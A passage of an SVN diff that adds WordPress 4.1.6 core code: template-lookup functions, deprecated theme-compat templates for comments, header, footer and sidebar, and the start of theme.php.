+	if ( ! $obj->has_archive )
+		return '';
+
+	return get_archive_template();
+}
+
+/**
+ * Retrieve path of author template in current or parent template.
+ *
+ * The template path is filterable via the 'author_template' hook.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to author template file.
+ */
+function get_author_template() {
+	$author = get_queried_object();
+
+	$templates = array();
+
+	if ( is_a( $author, 'WP_User' ) ) {
+		$templates[] = "author-{$author->user_nicename}.php";
+		$templates[] = "author-{$author->ID}.php";
+	}
+	$templates[] = 'author.php';
+
+	return get_query_template( 'author', $templates );
+}
+
+/**
+ * Retrieve path of category template in current or parent template.
+ *
+ * Works by first retrieving the current slug, for example 'category-default.php', and then
+ * trying category ID, for example 'category-1.php', and will finally fall back to category.php
+ * template, if those files don't exist.
+ *
+ * The template path is filterable via the 'category_template' hook.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to category template file.
+ */
+function get_category_template() {
+	$category = get_queried_object();
+
+	$templates = array();
+
+	if ( ! empty( $category->slug ) ) {
+		$templates[] = "category-{$category->slug}.php";
+		$templates[] = "category-{$category->term_id}.php";
+	}
+	$templates[] = 'category.php';
+
+	return get_query_template( 'category', $templates );
+}
+
+/**
+ * Retrieve path of tag template in current or parent template.
+ *
+ * Works by first retrieving the current tag name, for example 'tag-wordpress.php', and then
+ * trying tag ID, for example 'tag-1.php', and will finally fall back to tag.php
+ * template, if those files don't exist.
+ *
+ * The template path is filterable via the 'tag_template' hook.
+ *
+ * @since 2.3.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to tag template file.
+ */
+function get_tag_template() {
+	$tag = get_queried_object();
+
+	$templates = array();
+
+	if ( ! empty( $tag->slug ) ) {
+		$templates[] = "tag-{$tag->slug}.php";
+		$templates[] = "tag-{$tag->term_id}.php";
+	}
+	$templates[] = 'tag.php';
+
+	return get_query_template( 'tag', $templates );
+}
+
+/**
+ * Retrieve path of taxonomy template in current or parent template.
+ *
+ * Retrieves the taxonomy and term, if term is available. The template is
+ * prepended with 'taxonomy-' and followed by both the taxonomy string and
+ * the taxonomy string followed by a dash and then followed by the term.
+ *
+ * The taxonomy and term template is checked and used first, if it exists.
+ * Second, just the taxonomy template is checked, and then finally, taxonomy.php
+ * template is used. If none of the files exist, then it will fall back on to
+ * index.php.
+ *
+ * The template path is filterable via the 'taxonomy_template' hook.
+ *
+ * @since 2.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to taxonomy template file.
+ */
+function get_taxonomy_template() {
+	$term = get_queried_object();
+
+	$templates = array();
+
+	if ( ! empty( $term->slug ) ) {
+		$taxonomy = $term->taxonomy;
+		$templates[] = "taxonomy-$taxonomy-{$term->slug}.php";
+		$templates[] = "taxonomy-$taxonomy.php";
+	}
+	$templates[] = 'taxonomy.php';
+
+	return get_query_template( 'taxonomy', $templates );
+}
+
+/**
+ * Retrieve path of date template in current or parent template.
+ *
+ * The template path is filterable via the 'date_template' hook.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to date template file.
+ */
+function get_date_template() {
+	return get_query_template('date');
+}
+
+/**
+ * Retrieve path of home template in current or parent template.
+ *
+ * This is the template used for the page containing the blog posts.
+ * Attempts to locate 'home.php' first before falling back to 'index.php'.
+ *
+ * The template path is filterable via the 'home_template' hook.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to home template file.
+ */
+function get_home_template() {
+	$templates = array( 'home.php', 'index.php' );
+
+	return get_query_template( 'home', $templates );
+}
+
+/**
+ * Retrieve path of front-page template in current or parent template.
+ *
+ * Looks for 'front-page.php'. The template path is filterable via the
+ * 'front_page_template' hook.
+ *
+ * @since 3.0.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to front page template file.
+ */
+function get_front_page_template() {
+	$templates = array('front-page.php');
+
+	return get_query_template( 'front_page', $templates );
+}
+
+/**
+ * Retrieve path of page template in current or parent template.
+ *
+ * Will first look for the specifically assigned page template.
+ * Then will search for 'page-{slug}.php', followed by 'page-{id}.php',
+ * and finally 'page.php'.
+ *
+ * The template path is filterable via the 'page_template' hook.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to page template file.
+ */
+function get_page_template() {
+	$id = get_queried_object_id();
+	$template = get_page_template_slug();
+	$pagename = get_query_var('pagename');
+
+	if ( ! $pagename && $id ) {
+		// If a static page is set as the front page, $pagename will not be set. Retrieve it from the queried object
+		$post = get_queried_object();
+		if ( $post )
+			$pagename = $post->post_name;
+	}
+
+	$templates = array();
+	if ( $template && 0 === validate_file( $template ) )
+		$templates[] = $template;
+	if ( $pagename )
+		$templates[] = "page-$pagename.php";
+	if ( $id )
+		$templates[] = "page-$id.php";
+	$templates[] = 'page.php';
+
+	return get_query_template( 'page', $templates );
+}
+
+/**
+ * Retrieve path of paged template in current or parent template.
+ *
+ * The template path is filterable via the 'paged_template' hook.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to paged template file.
+ */
+function get_paged_template() {
+	return get_query_template('paged');
+}
+
+/**
+ * Retrieve path of search template in current or parent template.
+ *
+ * The template path is filterable via the 'search_template' hook.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to search template file.
+ */
+function get_search_template() {
+	return get_query_template('search');
+}
+
+/**
+ * Retrieve path of single template in current or parent template.
+ *
+ * The template path is filterable via the 'single_template' hook.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to single template file.
+ */
+function get_single_template() {
+	$object = get_queried_object();
+
+	$templates = array();
+
+	if ( ! empty( $object->post_type ) )
+		$templates[] = "single-{$object->post_type}.php";
+	$templates[] = "single.php";
+
+	return get_query_template( 'single', $templates );
+}
+
+/**
+ * Retrieve path of attachment template in current or parent template.
+ *
+ * The attachment path first checks if the first part of the mime type exists.
+ * The second check is for the second part of the mime type. The last check is
+ * for both types separated by an underscore. If neither are found then the file
+ * 'attachment.php' is checked and returned.
+ *
+ * Some examples for the 'text/plain' mime type are 'text.php', 'plain.php', and
+ * finally 'text_plain.php'.
+ *
+ * The template path is filterable via the 'attachment_template' hook.
+ *
+ * @since 2.0.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to attachment template file.
+ */
+function get_attachment_template() {
+	global $posts;
+
+	if ( ! empty( $posts ) && isset( $posts[0]->post_mime_type ) ) {
+		$type = explode( '/', $posts[0]->post_mime_type );
+
+		if ( ! empty( $type ) ) {
+			if ( $template = get_query_template( $type[0] ) )
+				return $template;
+			elseif ( ! empty( $type[1] ) ) {
+				if ( $template = get_query_template( $type[1] ) )
+					return $template;
+				elseif ( $template = get_query_template( "$type[0]_$type[1]" ) )
+					return $template;
+			}
+		}
+	}
+
+	return get_query_template( 'attachment' );
+}
+
+/**
+ * Retrieve path of comment popup template in current or parent template.
+ *
+ * Checks for comment popup template in current template, if it exists or in the
+ * parent template.
+ *
+ * The template path is filterable via the 'comments_popup_template' hook.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to comments popup template file.
+ */
+function get_comments_popup_template() {
+	$template = get_query_template( 'comments_popup', array( 'comments-popup.php' ) );
+
+	// Backward compat code will be removed in a future release
+	if ('' == $template)
+		$template = ABSPATH . WPINC . '/theme-compat/comments-popup.php';
+
+	return $template;
+}
+
+/**
+ * Retrieve the name of the highest priority template file that exists.
+ *
+ * Searches in the STYLESHEETPATH before TEMPLATEPATH so that themes which
+ * inherit from a parent theme can just overload one file.
+ *
+ * @since 2.7.0
+ *
+ * @param string|array $template_names Template file(s) to search for, in order.
+ * @param bool $load If true the template file will be loaded if it is found.
+ * @param bool $require_once Whether to require_once or require. Default true. Has no effect if $load is false.
+ * @return string The template filename if one is located.
+ */
+function locate_template($template_names, $load = false, $require_once = true ) {
+	$located = '';
+	foreach ( (array) $template_names as $template_name ) {
+		if ( !$template_name )
+			continue;
+		if ( file_exists(STYLESHEETPATH . '/' . $template_name)) {
+			$located = STYLESHEETPATH . '/' . $template_name;
+			break;
+		} else if ( file_exists(TEMPLATEPATH . '/' . $template_name) ) {
+			$located = TEMPLATEPATH . '/' . $template_name;
+			break;
+		}
+	}
+
+	if ( $load && '' != $located )
+		load_template( $located, $require_once );
+
+	return $located;
+}
+
+/**
+ * Require the template file with WordPress environment.
+ *
+ * The globals are set up for the template file to ensure that the WordPress
+ * environment is available from within the function. The query variables are
+ * also available.
+ *
+ * @since 1.5.0
+ *
+ * @param string $_template_file Path to template file.
+ * @param bool $require_once Whether to require_once or require. Default true.
+ */
+function load_template( $_template_file, $require_once = true ) {
+	global $posts, $post, $wp_did_header, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID;
+
+	if ( is_array( $wp_query->query_vars ) )
+		extract( $wp_query->query_vars, EXTR_SKIP );
+
+	if ( $require_once )
+		require_once( $_template_file );
+	else
+		require( $_template_file );
+}
+
Index: /tags/4.1.6/src/wp-includes/theme-compat/comments-popup.php
===================================================================
--- /tags/4.1.6/src/wp-includes/theme-compat/comments-popup.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/theme-compat/comments-popup.php	(revision 33402)
@@ -0,0 +1,131 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Theme_Compat
+ * @deprecated 3.0
+ *
+ * This file is here for Backwards compatibility with old themes and will be removed in a future version
+ *
+ */
+_deprecated_file( sprintf( __( 'Theme without %1$s' ), basename(__FILE__) ), '3.0', null, sprintf( __('Please include a %1$s template in your theme.'), basename(__FILE__) ) );
+?><!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+     <title><?php printf(__('%1$s - Comments on %2$s'), get_option('blogname'), the_title('','',false)); ?></title>
+
+	<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
+	<style type="text/css" media="screen">
+		@import url( <?php bloginfo('stylesheet_url'); ?> );
+		body { margin: 3px; }
+	</style>
+
+</head>
+<body id="commentspopup">
+
+<h1 id="header"><a href="" title="<?php echo get_option('blogname'); ?>"><?php echo get_option('blogname'); ?></a></h1>
+
+<?php
+/* Don't remove these lines. */
+add_filter('comment_text', 'popuplinks');
+if ( have_posts() ) :
+while( have_posts()) : the_post();
+?>
+<h2 id="comments"><?php _e('Comments'); ?></h2>
+
+<p><a href="<?php echo esc_url( get_post_comments_feed_link($post->ID) ); ?>"><?php _e('<abbr title="Really Simple Syndication">RSS</abbr> feed for comments on this post.'); ?></a></p>
+
+<?php if ( pings_open() ) { ?>
+<p><?php printf(__('The <abbr title="Universal Resource Locator">URL</abbr> to TrackBack this entry is: <em>%s</em>'), get_trackback_url()); ?></p>
+<?php } ?>
+
+<?php
+// this line is WordPress' motor, do not delete it.
+$commenter = wp_get_current_commenter();
+$comments = get_approved_comments($id);
+$post = get_post($id);
+if ( post_password_required($post) ) {  // and it doesn't match the cookie
+	echo(get_the_password_form());
+} else { ?>
+
+<?php if ($comments) { ?>
+<ol id="commentlist">
+<?php foreach ($comments as $comment) { ?>
+	<li id="comment-<?php comment_ID() ?>">
+	<?php comment_text() ?>
+	<p><cite><?php comment_type(); ?> <?php printf(__('by %1$s &#8212; %2$s @ <a href="#comment-%3$s">%4$s</a>'), get_comment_author_link(), get_comment_date(), get_comment_ID(), get_comment_time()); ?></cite></p>
+	</li>
+
+<?php } // end for each comment ?>
+</ol>
+<?php } else { // this is displayed if there are no comments so far ?>
+	<p><?php _e('No comments yet.'); ?></p>
+<?php } ?>
+
+<?php if ( comments_open() ) { ?>
+<h2><?php _e('Leave a comment'); ?></h2>
+<p><?php printf(__('Line and paragraph breaks automatic, e-mail address never displayed, <acronym title="Hypertext Markup Language">HTML</acronym> allowed: <code>%s</code>'), allowed_tags()); ?></p>
+
+<form action="<?php echo site_url(); ?>/wp-comments-post.php" method="post" id="commentform">
+<?php if ( $user_ID ) : ?>
+	<p><?php printf(__('Logged in as <a href="%1$s">%2$s</a>. <a href="%3$s" title="Log out of this account">Log out &raquo;</a>'), get_edit_user_link(), $user_identity, wp_logout_url(get_permalink())); ?></p>
+<?php else : ?>
+	<p>
+	  <input type="text" name="author" id="author" class="textarea" value="<?php echo esc_attr( $commenter['comment_author'] ); ?>" size="28" tabindex="1" />
+	   <label for="author"><?php _e('Name'); ?></label>
+	</p>
+
+	<p>
+	  <input type="text" name="email" id="email" value="<?php echo esc_attr( $commenter['comment_author_email'] ); ?>" size="28" tabindex="2" />
+	   <label for="email"><?php _e('E-mail'); ?></label>
+	</p>
+
+	<p>
+	  <input type="text" name="url" id="url" value="<?php echo esc_attr( $commenter['comment_author_url'] ); ?>" size="28" tabindex="3" />
+	   <label for="url"><?php _e('<abbr title="Universal Resource Locator">URL</abbr>'); ?></label>
+	</p>
+<?php endif; ?>
+
+	<p>
+	  <label for="comment"><?php _e('Your Comment'); ?></label>
+	<br />
+	  <textarea name="comment" id="comment" cols="70" rows="4" tabindex="4"></textarea>
+	</p>
+
+	<p>
+	  <input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
+	  <input type="hidden" name="redirect_to" value="<?php echo esc_attr($_SERVER["REQUEST_URI"]); ?>" />
+	  <input name="submit" type="submit" tabindex="5" value="<?php esc_attr_e('Say It!' ); ?>" />
+	</p>
+	<?php
+	/** This filter is documented in wp-includes/comment-template.php */
+	do_action( 'comment_form', $post->ID );
+	?>
+</form>
+<?php } else { // comments are closed ?>
+<p><?php _e('Sorry, the comment form is closed at this time.'); ?></p>
+<?php }
+} // end password check
+?>
+
+<div><strong><a href="javascript:window.close()"><?php _e('Close this window.'); ?></a></strong></div>
+
+<?php // if you delete this the sky will fall on your head
+endwhile; // have_posts()
+else: // have_posts()
+?>
+<p><?php _e('Sorry, no posts matched your criteria.'); ?></p>
+<?php endif; ?>
+<!-- // this is just the end of the motor - don't touch that line either :) -->
+<?php //} ?>
+<p class="credit"><?php timer_stop(1); ?> <cite><?php printf(__('Powered by <a href="%s" title="Powered by WordPress, state-of-the-art semantic personal publishing platform"><strong>WordPress</strong></a>'), 'https://wordpress.org/'); ?></cite></p>
+<?php // Seen at http://www.mijnkopthee.nl/log2/archive/2003/05/28/esc(18) ?>
+<script type="text/javascript">
+<!--
+document.onkeypress = function esc(e) {
+	if(typeof(e) == "undefined") { e=event; }
+	if (e.keyCode == 27) { self.close(); }
+}
+// -->
+</script>
+</body>
+</html>
Index: /tags/4.1.6/src/wp-includes/theme-compat/comments.php
===================================================================
--- /tags/4.1.6/src/wp-includes/theme-compat/comments.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/theme-compat/comments.php	(revision 33402)
@@ -0,0 +1,104 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Theme_Compat
+ * @deprecated 3.0
+ *
+ * This file is here for Backwards compatibility with old themes and will be removed in a future version
+ *
+ */
+_deprecated_file( sprintf( __( 'Theme without %1$s' ), basename(__FILE__) ), '3.0', null, sprintf( __('Please include a %1$s template in your theme.'), basename(__FILE__) ) );
+
+// Do not delete these lines
+	if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
+		die ('Please do not load this page directly. Thanks!');
+
+	if ( post_password_required() ) { ?>
+		<p class="nocomments"><?php _e('This post is password protected. Enter the password to view comments.'); ?></p>
+	<?php
+		return;
+	}
+?>
+
+<!-- You can start editing here. -->
+
+<?php if ( have_comments() ) : ?>
+	<h3 id="comments"><?php	printf( _n( 'One Response to %2$s', '%1$s Responses to %2$s', get_comments_number() ),
+									number_format_i18n( get_comments_number() ), '&#8220;' . get_the_title() . '&#8221;' ); ?></h3>
+
+	<div class="navigation">
+		<div class="alignleft"><?php previous_comments_link() ?></div>
+		<div class="alignright"><?php next_comments_link() ?></div>
+	</div>
+
+	<ol class="commentlist">
+	<?php wp_list_comments();?>
+	</ol>
+
+	<div class="navigation">
+		<div class="alignleft"><?php previous_comments_link() ?></div>
+		<div class="alignright"><?php next_comments_link() ?></div>
+	</div>
+ <?php else : // this is displayed if there are no comments so far ?>
+
+	<?php if ( comments_open() ) : ?>
+		<!-- If comments are open, but there are no comments. -->
+
+	 <?php else : // comments are closed ?>
+		<!-- If comments are closed. -->
+		<p class="nocomments"><?php _e('Comments are closed.'); ?></p>
+
+	<?php endif; ?>
+<?php endif; ?>
+
+<?php if ( comments_open() ) : ?>
+
+<div id="respond">
+
+<h3><?php comment_form_title( __('Leave a Reply'), __('Leave a Reply to %s' ) ); ?></h3>
+
+<div id="cancel-comment-reply">
+	<small><?php cancel_comment_reply_link() ?></small>
+</div>
+
+<?php if ( get_option('comment_registration') && !is_user_logged_in() ) : ?>
+<p><?php printf(__('You must be <a href="%s">logged in</a> to post a comment.'), wp_login_url( get_permalink() )); ?></p>
+<?php else : ?>
+
+<form action="<?php echo site_url(); ?>/wp-comments-post.php" method="post" id="commentform">
+
+<?php if ( is_user_logged_in() ) : ?>
+
+<p><?php printf(__('Logged in as <a href="%1$s">%2$s</a>.'), get_edit_user_link(), $user_identity); ?> <a href="<?php echo wp_logout_url(get_permalink()); ?>" title="<?php esc_attr_e('Log out of this account'); ?>"><?php _e('Log out &raquo;'); ?></a></p>
+
+<?php else : ?>
+
+<p><input type="text" name="author" id="author" value="<?php echo esc_attr($comment_author); ?>" size="22" tabindex="1" <?php if ($req) echo "aria-required='true'"; ?> />
+<label for="author"><small><?php _e('Name'); ?> <?php if ($req) _e('(required)'); ?></small></label></p>
+
+<p><input type="text" name="email" id="email" value="<?php echo esc_attr($comment_author_email); ?>" size="22" tabindex="2" <?php if ($req) echo "aria-required='true'"; ?> />
+<label for="email"><small><?php _e('Mail (will not be published)'); ?> <?php if ($req) _e('(required)'); ?></small></label></p>
+
+<p><input type="text" name="url" id="url" value="<?php echo  esc_attr($comment_author_url); ?>" size="22" tabindex="3" />
+<label for="url"><small><?php _e('Website'); ?></small></label></p>
+
+<?php endif; ?>
+
+<!--<p><small><?php printf(__('<strong>XHTML:</strong> You can use these tags: <code>%s</code>'), allowed_tags()); ?></small></p>-->
+
+<p><textarea name="comment" id="comment" cols="58" rows="10" tabindex="4"></textarea></p>
+
+<p><input name="submit" type="submit" id="submit" tabindex="5" value="<?php esc_attr_e('Submit Comment'); ?>" />
+<?php comment_id_fields(); ?>
+</p>
+<?php
+/** This filter is documented in wp-includes/comment-template.php */
+do_action( 'comment_form', $post->ID );
+?>
+
+</form>
+
+<?php endif; // If registration required and not logged in ?>
+</div>
+
+<?php endif; // if you delete this the sky will fall on your head ?>
Index: /tags/4.1.6/src/wp-includes/theme-compat/footer.php
===================================================================
--- /tags/4.1.6/src/wp-includes/theme-compat/footer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/theme-compat/footer.php	(revision 33402)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Theme_Compat
+ * @deprecated 3.0
+ *
+ * This file is here for Backwards compatibility with old themes and will be removed in a future version
+ *
+ */
+_deprecated_file( sprintf( __( 'Theme without %1$s' ), basename(__FILE__) ), '3.0', null, sprintf( __('Please include a %1$s template in your theme.'), basename(__FILE__) ) );
+?>
+
+<hr />
+<div id="footer" role="contentinfo">
+<!-- If you'd like to support WordPress, having the "powered by" link somewhere on your blog is the best way; it's our only promotion or advertising. -->
+	<p>
+		<?php printf(__('%1$s is proudly powered by %2$s'), get_bloginfo('name'),
+		'<a href="https://wordpress.org/">WordPress</a>'); ?>
+		<br /><?php printf(__('%1$s and %2$s.'), '<a href="' . get_bloginfo('rss2_url') . '">' . __('Entries (RSS)') . '</a>', '<a href="' . get_bloginfo('comments_rss2_url') . '">' . __('Comments (RSS)') . '</a>'); ?>
+		<!-- <?php printf(__('%d queries. %s seconds.'), get_num_queries(), timer_stop(0, 3)); ?> -->
+	</p>
+</div>
+</div>
+
+<!-- Gorgeous design by Michael Heilemann - http://binarybonsai.com/kubrick/ -->
+<?php /* "Just what do you think you're doing Dave?" */ ?>
+
+		<?php wp_footer(); ?>
+</body>
+</html>
Index: /tags/4.1.6/src/wp-includes/theme-compat/header.php
===================================================================
--- /tags/4.1.6/src/wp-includes/theme-compat/header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/theme-compat/header.php	(revision 33402)
@@ -0,0 +1,49 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Theme_Compat
+ * @deprecated 3.0
+ *
+ * This file is here for Backwards compatibility with old themes and will be removed in a future version
+ *
+ */
+_deprecated_file( sprintf( __( 'Theme without %1$s' ), basename(__FILE__) ), '3.0', null, sprintf( __('Please include a %1$s template in your theme.'), basename(__FILE__) ) );
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head>
+<link rel="profile" href="http://gmpg.org/xfn/11" />
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+
+<title><?php wp_title('&laquo;', true, 'right'); ?> <?php bloginfo('name'); ?></title>
+
+<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
+<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
+
+<style type="text/css" media="screen">
+
+<?php
+// Checks to see whether it needs a sidebar
+if ( empty($withcomments) && !is_single() ) {
+?>
+	#page { background: url("<?php bloginfo('stylesheet_directory'); ?>/images/kubrickbg-<?php bloginfo('text_direction'); ?>.jpg") repeat-y top; border: none; }
+<?php } else { // No sidebar ?>
+	#page { background: url("<?php bloginfo('stylesheet_directory'); ?>/images/kubrickbgwide.jpg") repeat-y top; border: none; }
+<?php } ?>
+
+</style>
+
+<?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?>
+
+<?php wp_head(); ?>
+</head>
+<body <?php body_class(); ?>>
+<div id="page">
+
+<div id="header" role="banner">
+	<div id="headerimg">
+		<h1><a href="<?php echo home_url(); ?>/"><?php bloginfo('name'); ?></a></h1>
+		<div class="description"><?php bloginfo('description'); ?></div>
+	</div>
+</div>
+<hr />
Index: /tags/4.1.6/src/wp-includes/theme-compat/sidebar.php
===================================================================
--- /tags/4.1.6/src/wp-includes/theme-compat/sidebar.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/theme-compat/sidebar.php	(revision 33402)
@@ -0,0 +1,83 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Theme_Compat
+ * @deprecated 3.0
+ *
+ * This file is here for Backwards compatibility with old themes and will be removed in a future version
+ *
+ */
+_deprecated_file( sprintf( __( 'Theme without %1$s' ), basename(__FILE__) ), '3.0', null, sprintf( __('Please include a %1$s template in your theme.'), basename(__FILE__) ) );
+?>
+	<div id="sidebar" role="complementary">
+		<ul>
+			<?php 	/* Widgetized sidebar, if you have the plugin installed. */
+					if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?>
+			<li>
+				<?php get_search_form(); ?>
+			</li>
+
+			<!-- Author information is disabled per default. Uncomment and fill in your details if you want to use it.
+			<li><h2><?php _e('Author'); ?></h2>
+			<p>A little something about you, the author. Nothing lengthy, just an overview.</p>
+			</li>
+			-->
+
+			<?php if ( is_404() || is_category() || is_day() || is_month() ||
+						is_year() || is_search() || is_paged() ) {
+			?> <li>
+
+			<?php /* If this is a 404 page */ if (is_404()) { ?>
+			<?php /* If this is a category archive */ } elseif (is_category()) { ?>
+			<p><?php printf(__('You are currently browsing the archives for the %s category.'), single_cat_title('', false)); ?></p>
+
+			<?php /* If this is a daily archive */ } elseif (is_day()) { ?>
+			<p><?php printf(__('You are currently browsing the <a href="%1$s/">%2$s</a> blog archives for the day %3$s.'), get_bloginfo('url'), get_bloginfo('name'), get_the_time(__('l, F jS, Y'))); ?></p>
+
+			<?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
+			<p><?php printf(__('You are currently browsing the <a href="%1$s/">%2$s</a> blog archives for %3$s.'), get_bloginfo('url'), get_bloginfo('name'), get_the_time(__('F, Y'))); ?></p>
+
+			<?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
+			<p><?php printf(__('You are currently browsing the <a href="%1$s/">%2$s</a> blog archives for the year %3$s.'), get_bloginfo('url'), get_bloginfo('name'), get_the_time('Y')); ?></p>
+
+			<?php /* If this is a search result */ } elseif (is_search()) { ?>
+			<p><?php printf(__('You have searched the <a href="%1$s/">%2$s</a> blog archives for <strong>&#8216;%3$s&#8217;</strong>. If you are unable to find anything in these search results, you can try one of these links.'), get_bloginfo('url'), get_bloginfo('name'), esc_html( get_search_query() ) ); ?></p>
+
+			<?php /* If this set is paginated */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
+			<p><?php printf(__('You are currently browsing the <a href="%1$s/">%2$s</a> blog archives.'), get_bloginfo('url'), get_bloginfo('name')); ?></p>
+
+			<?php } ?>
+
+			</li>
+		<?php }?>
+		</ul>
+		<ul role="navigation">
+			<?php wp_list_pages('title_li=<h2>' . __('Pages') . '</h2>' ); ?>
+
+			<li><h2><?php _e('Archives'); ?></h2>
+				<ul>
+				<?php wp_get_archives(array('type' => 'monthly')); ?>
+				</ul>
+			</li>
+
+			<?php wp_list_categories(array('show_count' => 1, 'title_li' => '<h2>' . __('Categories') . '</h2>')); ?>
+		</ul>
+		<ul>
+			<?php /* If this is the frontpage */ if ( is_home() || is_page() ) { ?>
+				<?php wp_list_bookmarks(); ?>
+
+				<li><h2><?php _e('Meta'); ?></h2>
+				<ul>
+					<?php wp_register(); ?>
+					<li><?php wp_loginout(); ?></li>
+					<li><a href="http://validator.w3.org/check/referer" title="<?php esc_attr_e('This page validates as XHTML 1.0 Transitional'); ?>"><?php _e('Valid <abbr title="eXtensible HyperText Markup Language">XHTML</abbr>'); ?></a></li>
+					<li><a href="http://gmpg.org/xfn/"><abbr title="<?php esc_attr_e('XHTML Friends Network'); ?>"><?php _e('XFN'); ?></abbr></a></li>
+					<li><a href="https://wordpress.org/" title="<?php esc_attr_e('Powered by WordPress, state-of-the-art semantic personal publishing platform.'); ?>">WordPress</a></li>
+					<?php wp_meta(); ?>
+				</ul>
+				</li>
+			<?php } ?>
+
+			<?php endif; ?>
+		</ul>
+	</div>
Index: /tags/4.1.6/src/wp-includes/theme.php
===================================================================
--- /tags/4.1.6/src/wp-includes/theme.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/theme.php	(revision 33402)
@@ -0,0 +1,2036 @@
+<?php
+/**
+ * Theme, template, and stylesheet functions.
+ *
+ * @package WordPress
+ * @subpackage Theme
+ */
+
+/**
+ * Returns an array of WP_Theme objects based on the arguments.
+ *
+ * Despite advances over get_themes(), this function is quite expensive, and grows
+ * linearly with additional themes. Stick to wp_get_theme() if possible.
+ *
+ * @since 3.4.0
+ *
+ * @param array $args The search arguments. Optional.
+ * - errors      mixed  True to return themes with errors, false to return themes without errors, null
+ *                      to return all themes. Defaults to false.
+ * - allowed     mixed  (Multisite) True to return only allowed themes for a site. False to return only
+ *                      disallowed themes for a site. 'site' to return only site-allowed themes. 'network'
+ *                      to return only network-allowed themes. Null to return all themes. Defaults to null.
+ * - blog_id     int    (Multisite) The blog ID used to calculate which themes are allowed. Defaults to 0,
+ *                      synonymous for the current blog.
+ * @return Array of WP_Theme objects.
+ */
+function wp_get_themes( $args = array() ) {
+	global $wp_theme_directories;
+
+	$defaults = array( 'errors' => false, 'allowed' => null, 'blog_id' => 0 );
+	$args = wp_parse_args( $args, $defaults );
+
+	$theme_directories = search_theme_directories();
+
+	if ( count( $wp_theme_directories ) > 1 ) {
+		// Make sure the current theme wins out, in case search_theme_directories() picks the wrong
+		// one in the case of a conflict. (Normally, last registered theme root wins.)
+		$current_theme = get_stylesheet();
+		if ( isset( $theme_directories[ $current_theme ] ) ) {
+			$root_of_current_theme = get_raw_theme_root( $current_theme );
+			if ( ! in_array( $root_of_current_theme, $wp_theme_directories ) )
+				$root_of_current_theme = WP_CONTENT_DIR . $root_of_current_theme;
+			$theme_directories[ $current_theme ]['theme_root'] = $root_of_current_theme;
+		}
+	}
+
+	if ( empty( $theme_directories ) )
+		return array();
+
+	if ( is_multisite() && null !== $args['allowed'] ) {
+		$allowed = $args['allowed'];
+		if ( 'network' === $allowed )
+			$theme_directories = array_intersect_key( $theme_directories, WP_Theme::get_allowed_on_network() );
+		elseif ( 'site' === $allowed )
+			$theme_directories = array_intersect_key( $theme_directories, WP_Theme::get_allowed_on_site( $args['blog_id'] ) );
+		elseif ( $allowed )
+			$theme_directories = array_intersect_key( $theme_directories, WP_Theme::get_allowed( $args['blog_id'] ) );
+		else
+			$theme_directories = array_diff_key( $theme_directories, WP_Theme::get_allowed( $args['blog_id'] ) );
+	}
+
+	$themes = array();
+	static $_themes = array();
+
+	foreach ( $theme_directories as $theme => $theme_root ) {
+		if ( isset( $_themes[ $theme_root['theme_root'] . '/' . $theme ] ) )
+			$themes[ $theme ] = $_themes[ $theme_root['theme_root'] . '/' . $theme ];
+		else
+			$themes[ $theme ] = $_themes[ $theme_root['theme_root'] . '/' . $theme ] = new WP_Theme( $theme, $theme_root['theme_root'] );
+	}
+
+	if ( null !== $args['errors'] ) {
+		foreach ( $themes as $theme => $wp_theme ) {
+			if ( $wp_theme->errors() != $args['errors'] )
+				unset( $themes[ $theme ] );
+		}
+	}
+
+	return $themes;
+}
+
+/**
+ * Gets a WP_Theme object for a theme.
+ *
+ * @since 3.4.0
+ *
+ * @param string $stylesheet Directory name for the theme. Optional. Defaults to current theme.
+ * @param string $theme_root Absolute path of the theme root to look in. Optional. If not specified, get_raw_theme_root()
+ * 	is used to calculate the theme root for the $stylesheet provided (or current theme).
